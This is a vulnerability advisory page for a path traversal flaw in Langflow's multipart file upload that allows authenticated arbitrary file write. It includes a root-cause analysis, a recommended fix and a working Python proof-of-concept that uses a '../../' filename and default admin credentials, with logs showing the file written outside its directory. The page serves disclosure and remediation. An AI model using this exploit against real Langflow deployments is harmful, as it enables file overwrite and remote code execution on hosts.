Python CVE-2026-33309
CRITICALCVSS VectorNVD
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Lifecycle Timeline
4DescriptionNVD
Summary
While reviewing the recent patch for CVE-2025-68478 (External Control of File Name in v1.7.1), I discovered that the root architectural issue within LocalStorageService remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer ValidatedFileName dependency.
This defense-in-depth failure leaves the POST /api/v2/files/ endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE).
Details
The vulnerability exists in two layers:
- API Layer (
src/backend/base/langflow/api/v2/files.py:162): Inside theupload_user_fileroute, thefilenameis extracted directly from the multipartContent-Dispositionheader (new_filename = file.filename). It is passed verbatim to the storage service.ValidatedFileNameprovides zero protection here as it only guards URL path parameters. - Storage Layer (
src/backend/base/langflow/services/storage/local.py:114-116): TheLocalStorageServiceuses naive path concatenation (file_path = folder_path / file_name). It lacks aresolve().is_relative_to(base_dir)containment check.
Recommended Fix:
- Sanitize the multipart filename before processing:
from pathlib import Path as StdPath
new_filename = StdPath(file.filename or "").name
# Strips directory traversal characters
if not new_filename or ".." in new_filename:
raise HTTPException(status_code=400, detail="Invalid file name")
- Add a canonical path containment check inside
LocalStorageService.save_fileto permanently kill this vulnerability class.
PoC
This Python script verifies the vulnerability against langflowai/langflow:latest (v1.7.3) by writing a file outside the user's UUID storage directory.
import requests
BASE_URL = "http://localhost:7860"
# Authenticate to get a valid JWT
token = requests.post(f"{BASE_URL}/api/v1/login", data={"username": "admin", "password": "admin"}).json()["access_token"]
# Payload using directory traversal in the multipart filename
TRAVERSAL_FILENAME = "../../traversal_proof.txt"
SENTINEL_CONTENT = b"CVE_RESEARCH_SENTINEL_KEY"
resp = requests.post(
f"{BASE_URL}/api/v2/files/",
headers={"Authorization": f"Bearer {token}"},
files={"file": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, "text/plain")},
)
print(f"Status: {resp.status_code}")
# Returns 201
# The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt`
Server Logs:
2026-02-19T10:04:54.031888Z [info ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.
2026-02-19T10:05:51.792520Z [info ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.Docker cntainer file:
user@40416f6848f2:~/.cache/langflow$ ls
3668bcce-db6c-4f58-834c-f49ba0024fcb profile_pictures secret_key traversal_proof.txtImpact
Authenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite .ssh/authorized_keys to achieve full Remote Code Execution on the host server.
AnalysisAI
An authenticated path traversal vulnerability in Langflow's file upload functionality allows attackers to write arbitrary files anywhere on the host system, leading to remote code execution. The vulnerability affects Langflow version 1.7.3 and earlier, where the multipart upload filename bypasses security checks due to missing boundary containment in the LocalStorageService layer. …
Sign in for full analysis, threat intelligence, and remediation guidance.
RemediationAI
Within 24 hours: Disable the POST /api/v2/files/ endpoint or restrict access to trusted administrators only; audit recent file uploads for suspicious activity. Within 7 days: Implement WAF rules to block multipart requests with path traversal patterns (../, ..\, etc.) in Content-Disposition headers; segment the application server from sensitive systems. …
Sign in for detailed remediation steps.
More from same product – last 7 days
Virtual machine escape in Canonical Multipass before 1.16.3 allows a root user inside a guest VM to read arbitrary files
Local privilege escalation in Canonical Multipass for macOS before 1.16.3 allows a low-privileged local user to obtain r
TLS server impersonation in Erlang/OTP's public_key library lets a name-constrained subordinate CA forge a trusted ident
Here is the multi-source synthesis for CVE-2026-42462: ```json { "product_name": "Fedify", "summary": "Linked Data
IP restriction bypass in Hono's ip-restriction middleware (hono/ip-restriction) prior to version 4.12.21 allows unauthen
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-g2j9-7rj2-gm6c